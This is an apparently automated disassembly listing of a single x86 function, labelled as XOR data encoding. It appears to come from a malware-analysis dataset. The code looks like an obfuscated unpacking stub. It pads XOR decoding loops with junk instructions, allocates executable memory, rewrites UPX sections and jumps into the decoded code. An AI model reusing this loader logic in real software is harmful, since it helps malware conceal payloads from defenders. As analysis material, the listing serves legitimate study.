Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd7c37415
add edi, edi
add edi, esi
or edi, edi
popal
mov esi, 0xc496bba
mov edi, 0xa1852dee
mov ebx, 0
mov esi, edi
dec edx
add edx, ecx
mov edx, ecx
mov eax, esi
or edx, edx
sub ecx, edx
not edx
mov edi, eax
sub ecx, edx
mov ecx, edx
inc ebx
dec edx
mov ecx, edx
cmp ebx, 0x1008a5f
jne 0xa789c8
dec ecx
sub ecx, edx
not ecx
add esi, edi
mov esi, 0x2de449fc
not edi
mov ecx, 0xa78796
dec eax
sub eax, edx
not edx
mov edi, 0xa7898a
sub ebx, edx
inc ebx
mov esi, dword [ecx]
sub ebx, 0x5734a457
sub eax, 0xdb5eeec3
and esi, 0xff
add ebx, 0xa7987854
sub ebx, edx
xor dword [edi], esi
and edx, edx
mov ebx, edx
mov edx, eax
add edi, 1
dec edx
not eax
inc ecx
add ebx, 0xd4a56671
add edx, eax
cmp edi, entry0
jl 0xa78a0d
or ebx, ebx
and eax, eax
add ebx, 0x1898b450
mov ebx, eax
mov edx, eax
sub esi, 0x1d332dd5
mov esi, edi
mov edx, 0xa7898e
inc esi
not edi
sub edi, ebx
mov edx, dword [edx]
sub ebx, 0xc813996d
dec ecx
dec edi
mov edx, dword [edx]
dec edi
dec edi
push edx
or edi, esi
sub ebx, 1
mov edx, 0xa7898a
sub edi, 1
sub esi, ebx
add ecx, 0xba0be15e
mov edx, dword [edx]
mov esi, 0x3fc35d9a
add edi, edi
add edi, ecx
mov edx, dword [edx]
and edi, ecx
not ebx
or esi, ebx
push 0xa78992
inc ebx
mov ecx, edi
inc ecx
call edx
mov ebx, esi
mov ebx, esi
dec edi
mov edx, dword [esp]
add esp, 4
add edi, 1
or ebx, esi
push 0xa7899f
sub esi, 0x5c480275
add esi, esi
or esi, ebx
sub esp, 4
mov dword [esp], eax
or esi, edi
sub ecx, esi
mov ebx, 0xda1ab30b
call edx
mov esi, ecx
sub ecx, ebx
dec edi
push 0x40
not ecx
inc esi
not ecx
push 0x3000
inc ecx
dec edi
push 0x20000157
add edi, 0x352c885f
or ebx, ebx
add ebx, 0x10e4336a
push 0
mov ebx, esi
not esi
call eax
mov esi, 0x242c1656
not esi
sub ebx, 0x2e4917ef
add eax, 0x200000b1
add esi, edi
sub esi, ebx
sub esi, edi
mov edx, 0x3233a8e6
mov esi, ebx
dec edi
mov dword [eax], edx
or ebx, edi
or ebx, esi
mov edx, dword [eax]
or edi, edi
mov edi, esi
or ecx, edi
cmp edx, 0x3233a8e6
je 0xa78b5c
mov edx, 0
mov byte [edx], bl
add edi, 0x92bf5442
sub ecx, esi
inc ecx
add ecx, esi
add ebx, esi
or esi, ecx
add esi, 0x83035f07
not edi
mov eax, section.UPX1
mov esi, edi
dec edi
not edi
mov edx, 0xa78795
inc edi
or esi, esi
mov ebx, 0
or edi, esi
sub edi, 0x6b74ce54
mov ecx, 0xa78796
sub esi, 1
add esi, 0x4f7f51ee
lea ecx, [ecx + ebx]
not esi
mov edi, 0x22a31fad
mov ecx, dword [ecx]
or esi, edi
add esi, edi
and ecx, 0xff
add edi, 0x42999eef
mov edi, esi
inc ebx
dec edi
add edi, 0xc3d67f94
not edi
cmp ebx, 0x1f4
jne 0xa78bd8
mov ebx, 0
not edi
sub esi, 0xb9eea703
inc edi
mov esi, 0x4c7552ec
or esi, esi
xor dword [eax], ecx
mov edi, esi
sub edi, esi
add eax, 2
sub esi, edi
sub edi, 0xbd5392c9
cmp eax, edx
jl 0xa78b92
sub esi, 1
sub esi, 0x5305e7c1
dec esi
or esi, esi
inc edi
mov edx, section.UPX1
add eax, 0xdcdadd21
and eax, edi
and edi, eax
mov esi, section.UPX1
add edi, 0x48cb6dac
inc eax
mov ecx, 0xa78795
sub edi, 0x4358a39c
mov edi, eax
or edi, edi
mov ebx, 0
add eax, eax
and edi, eax
mov bl, byte [esi]
mov edi, 0xa0fbdb75
not edi
mov eax, edi
mov byte [edx], bl
sub edi, eax
inc eax
add eax, edi
inc edx
add eax, 0x256be0b4
mov edi, eax
or eax, edi
add esi, 2
mov edi, 0xd9c65e72
add eax, 0xc2b6ed31
mov eax, edi
cmp esi, ecx
jle 0xa78c47
sub eax, edi
mov edi, eax
or edi, edi
sub edi, esi
and edi, esi
not esi
push 0x8dc6a0
mov edi, esi
sub edi, 0x370e61e8
ret